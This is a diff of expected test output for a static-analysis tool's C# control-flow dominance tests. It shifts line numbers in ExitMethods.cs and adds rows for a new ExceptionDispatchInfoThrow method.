| @@ -9891,76 +9919,83 @@ blockDominance | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | Conditions.cs:149:13:149:49 | ...; | | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:49 | ...; | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:49 | ...; | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:7:10:7:11 | enter M1 | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:13:10:13:11 | enter M2 | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:19:10:19:11 | enter M3 | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:25:10:25:11 | enter M4 | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:31:10:31:11 | enter M5 | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:37:10:37:11 | enter M6 | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:37:10:37:11 | exit M6 (normal) | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:44:9:46:9 | {...} | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | exit M6 (normal) | -| ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:44:9:46:9 | {...} | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:53:10:53:11 | enter M7 | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:59:10:59:11 | enter M8 | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:71:17:71:27 | enter ErrorAlways | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:86:10:86:13 | enter Exit | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:91:10:91:18 | enter ExitInTry | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:104:10:104:24 | enter ApplicationExit | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:109:13:109:21 | enter ThrowExpr | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:109:13:109:21 | exit ThrowExpr | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr | ExitMethods.cs:109:13:109:21 | exit ThrowExpr | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:119:17:119:32 | enter FailingAssertion | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:10:131:20 | enter AssertFalse | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:8:10:8:11 | enter M1 | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:14:10:14:11 | enter M2 | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:20:10:20:11 | enter M3 | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:26:10:26:11 | enter M4 | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:32:10:32:11 | enter M5 | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:38:10:38:11 | enter M6 | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:38:10:38:11 | exit M6 (normal) | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:45:9:47:9 | {...} | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | exit M6 (normal) | +| ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:45:9:47:9 | {...} | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:54:10:54:11 | enter M7 | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:60:10:60:11 | enter M8 | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:72:17:72:27 | enter ErrorAlways | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:87:10:87:13 | enter Exit | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:92:10:92:18 | enter ExitInTry | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:105:10:105:24 | enter ApplicationExit | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:110:13:110:21 | enter ThrowExpr | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:110:13:110:21 | exit ThrowExpr | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr | ExitMethods.cs:110:13:110:21 | exit ThrowExpr | +| ExitMethods.cs:112:29:112:29 | 1 | ExitMethods.cs:112:29:112:29 | 1 | +| ExitMethods.cs:112:69:112:75 | "input" | ExitMethods.cs:112:69:112:75 | "input" | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:115:16:115:34 | enter ExtensionMethodCall | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:117:16:117:38 | ... ? ... : ... | ExitMethods.cs:117:16:117:38 | ... ? ... : ... | +| ExitMethods.cs:117:34:117:34 | 0 | ExitMethods.cs:117:34:117:34 | 0 | +| ExitMethods.cs:117:38:117:38 | 1 | ExitMethods.cs:117:38:117:38 | 1 | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:120:17:120:32 | enter FailingAssertion | +| ExitMethods.cs:120:17:120:32 | enter FailingAssertion | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | +| ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:122:9:122:28 | [assertion failure] call to method IsTrue | +| ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | ExitMethods.cs:126:17:126:33 | enter FailingAssertion2 | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:10:132:20 | enter AssertFalse | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | +| ExitMethods.cs:132:10:132:20 | enter AssertFalse | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | +| ExitMethods.cs:132:10:132:20 | exit AssertFalse | ExitMethods.cs:132:10:132:20 | exit AssertFalse | +| ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:132:33:132:49 | [assertion failure] call to method IsFalse | +| ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | ExitMethods.cs:132:33:132:49 | [assertion success] call to method IsFalse | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | +| ExitMethods.cs:134:17:134:33 | enter FailingAssertion3 | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:136:9:136:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:140:17:140:42 | enter ExceptionDispatchInfoThrow | ExitMethods.cs:146:9:146:34 | ...; | +| ExitMethods.cs:143:13:143:43 | ...; | ExitMethods.cs:143:13:143:43 | ...; | +| ExitMethods.cs:145:13:145:53 | ...; | ExitMethods.cs:145:13:145:53 | ...; | +| ExitMethods.cs:146:9:146:34 | ...; | ExitMethods.cs:146:9:146:34 | ...; | | Extensions.cs:5:23:5:29 | enter ToInt32 | Extensions.cs:5:23:5:29 | enter ToInt32 | | Extensions.cs:10:24:10:29 | enter ToBool | Extensions.cs:10:24:10:29 | enter ToBool | | Extensions.cs:15:23:15:33 | enter CallToInt32 | Extensions.cs:15:23:15:33 | enter CallToInt32 | @@ -13816,64 +13851,71 @@ postBlockDominance | Conditions.cs:147:13:147:49 | ...; | Conditions.cs:147:13:147:49 | ...; | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:145:27:145:29 | [b (line 143): false] "b" | | Conditions.cs:149:13:149:49 | ...; | Conditions.cs:149:13:149:49 | ...; | -| ExitMethods.cs:7:10:7:11 | enter M1 | ExitMethods.cs:7:10:7:11 | enter M1 | -| ExitMethods.cs:13:10:13:11 | enter M2 | ExitMethods.cs:13:10:13:11 | enter M2 | -| ExitMethods.cs:19:10:19:11 | enter M3 | ExitMethods.cs:19:10:19:11 | enter M3 | -| ExitMethods.cs:25:10:25:11 | enter M4 | ExitMethods.cs:25:10:25:11 | enter M4 | -| ExitMethods.cs:31:10:31:11 | enter M5 | ExitMethods.cs:31:10:31:11 | enter M5 | -| ExitMethods.cs:37:10:37:11 | enter M6 | ExitMethods.cs:37:10:37:11 | enter M6 | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | enter M6 | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:37:10:37:11 | exit M6 (normal) | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:44:9:46:9 | {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:37:10:37:11 | exit M6 (normal) | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:43:9:46:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:43:9:46:9 | [exception: ArgumentException] catch (...) {...} | -| ExitMethods.cs:44:9:46:9 | {...} | ExitMethods.cs:44:9:46:9 | {...} | -| ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:47:9:50:9 | [exception: Exception] catch (...) {...} | -| ExitMethods.cs:48:9:50:9 | {...} | ExitMethods.cs:48:9:50:9 | {...} | -| ExitMethods.cs:53:10:53:11 | enter M7 | ExitMethods.cs:53:10:53:11 | enter M7 | -| ExitMethods.cs:59:10:59:11 | enter M8 | ExitMethods.cs:59:10:59:11 | enter M8 | -| ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | enter ErrorMaybe | -| ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | ExitMethods.cs:65:17:65:26 | exit ErrorMaybe (normal) | -| ExitMethods.cs:68:19:68:33 | object creation of type Exception | ExitMethods.cs:68:19:68:33 | object creation of type Exception | -| ExitMethods.cs:71:17:71:27 | enter ErrorAlways | ExitMethods.cs:71:17:71:27 | enter ErrorAlways | -| ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:71:17:71:27 | exit ErrorAlways (abnormal) | -| ExitMethods.cs:74:19:74:33 | object creation of type Exception | ExitMethods.cs:74:19:74:33 | object creation of type Exception | -| ExitMethods.cs:76:41:76:43 | "b" | ExitMethods.cs:76:41:76:43 | "b" | -| ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | ExitMethods.cs:79:17:79:28 | enter ErrorAlways2 | -| ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | ExitMethods.cs:84:17:84:28 | enter ErrorAlways3 | -| ExitMethods.cs:86:10:86:13 | enter Exit | ExitMethods.cs:86:10:86:13 | enter Exit | -| ExitMethods.cs:91:10:91:18 | enter ExitInTry | ExitMethods.cs:91:10:91:18 | enter ExitInTry | -| ExitMethods.cs:104:10:104:24 | enter ApplicationExit | ExitMethods.cs:104:10:104:24 | enter ApplicationExit | -| ExitMethods.cs:109:13:109:21 | enter ThrowExpr | ExitMethods.cs:109:13:109:21 | enter ThrowExpr | -| ExitMethods.cs:109:13:109:21 | exit ThrowExpr | ExitMethods.cs:109:13:109:21 | exit ThrowExpr | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:109:13:109:21 | enter ThrowExpr | -| ExitMethods.cs:111:29:111:29 | 1 | ExitMethods.cs:111:29:111:29 | 1 | -| ExitMethods.cs:111:69:111:75 | "input" | ExitMethods.cs:111:69:111:75 | "input" | -| ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:114:16:114:34 | enter ExtensionMethodCall | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:16:116:38 | ... ? ... : ... | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:116:16:116:38 | ... ? ... : ... | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:116:34:116:34 | 0 | ExitMethods.cs:116:34:116:34 | 0 | -| ExitMethods.cs:116:38:116:38 | 1 | ExitMethods.cs:116:38:116:38 | 1 | -| ExitMethods.cs:119:17:119:32 | enter FailingAssertion | ExitMethods.cs:119:17:119:32 | enter FailingAssertion | -| ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | ExitMethods.cs:121:9:121:28 | [assertion failure] call to method IsTrue | -| ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | ExitMethods.cs:125:17:125:33 | enter FailingAssertion2 | -| ExitMethods.cs:131:10:131:20 | enter AssertFalse | ExitMethods.cs:131:10:131:20 | enter AssertFalse | -| ExitMethods.cs:131:10:131:20 | exit AssertFalse | ExitMethods.cs:131:10:131:20 | exit AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | ExitMethods.cs:131:33:131:49 | [assertion failure] call to method IsFalse | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:10:131:20 | enter AssertFalse | -| ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | ExitMethods.cs:131:33:131:49 | [assertion success] call to method IsFalse | -| ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | ExitMethods.cs:133:17:133:33 | enter FailingAssertion3 | -| ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | ExitMethods.cs:135:9:135:25 | [assertion failure] call to method AssertFalse | +| ExitMethods.cs:8:10:8:11 | enter M1 | ExitMethods.cs:8:10:8:11 | enter M1 | +| ExitMethods.cs:14:10:14:11 | enter M2 | ExitMethods.cs:14:10:14:11 | enter M2 | +| ExitMethods.cs:20:10:20:11 | enter M3 | ExitMethods.cs:20:10:20:11 | enter M3 | +| ExitMethods.cs:26:10:26:11 | enter M4 | ExitMethods.cs:26:10:26:11 | enter M4 | +| ExitMethods.cs:32:10:32:11 | enter M5 | ExitMethods.cs:32:10:32:11 | enter M5 | +| ExitMethods.cs:38:10:38:11 | enter M6 | ExitMethods.cs:38:10:38:11 | enter M6 | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | enter M6 | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:38:10:38:11 | exit M6 (normal) | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:45:9:47:9 | {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:38:10:38:11 | exit M6 (normal) | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:44:9:47:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:44:9:47:9 | [exception: ArgumentException] catch (...) {...} | +| ExitMethods.cs:45:9:47:9 | {...} | ExitMethods.cs:45:9:47:9 | {...} | +| ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:48:9:51:9 | [exception: Exception] catch (...) {...} | +| ExitMethods.cs:49:9:51:9 | {...} | ExitMethods.cs:49:9:51:9 | {...} | +| ExitMethods.cs:54:10:54:11 | enter M7 | ExitMethods.cs:54:10:54:11 | enter M7 | +| ExitMethods.cs:60:10:60:11 | enter M8 | ExitMethods.cs:60:10:60:11 | enter M8 | +| ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | enter ErrorMaybe | +| ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | ExitMethods.cs:66:17:66:26 | exit ErrorMaybe (normal) | +| ExitMethods.cs:69:19:69:33 | object creation of type Exception | ExitMethods.cs:69:19:69:33 | object creation of type Exception | +| ExitMethods.cs:72:17:72:27 | enter ErrorAlways | ExitMethods.cs:72:17:72:27 | enter ErrorAlways | +| ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | ExitMethods.cs:72:17:72:27 | exit ErrorAlways (abnormal) | +| ExitMethods.cs:75:19:75:33 | object creation of type Exception | ExitMethods.cs:75:19:75:33 | object creation of type Exception | +| ExitMethods.cs:77:41:77:43 | "b" | ExitMethods.cs:77:41:77:43 | "b" | +| ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | ExitMethods.cs:80:17:80:28 | enter ErrorAlways2 | +| ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | ExitMethods.cs:85:17:85:28 | enter ErrorAlways3 | +| ExitMethods.cs:87:10:87:13 | enter Exit | ExitMethods.cs:87:10:87:13 | enter Exit | +| ExitMethods.cs:92:10:92:18 | enter ExitInTry | ExitMethods.cs:92:10:92:18 | enter ExitInTry | +| ExitMethods.cs:105:10:105:24 | enter ApplicationExit | ExitMethods.cs:105:10:105:24 | enter ApplicationExit | +| ExitMethods.cs:110:13:110:21 | enter ThrowExpr | ExitMethods.cs:110:13:110:21 | enter ThrowExpr | +| ExitMethods.cs:110:13:110:21 | exit ThrowExpr | 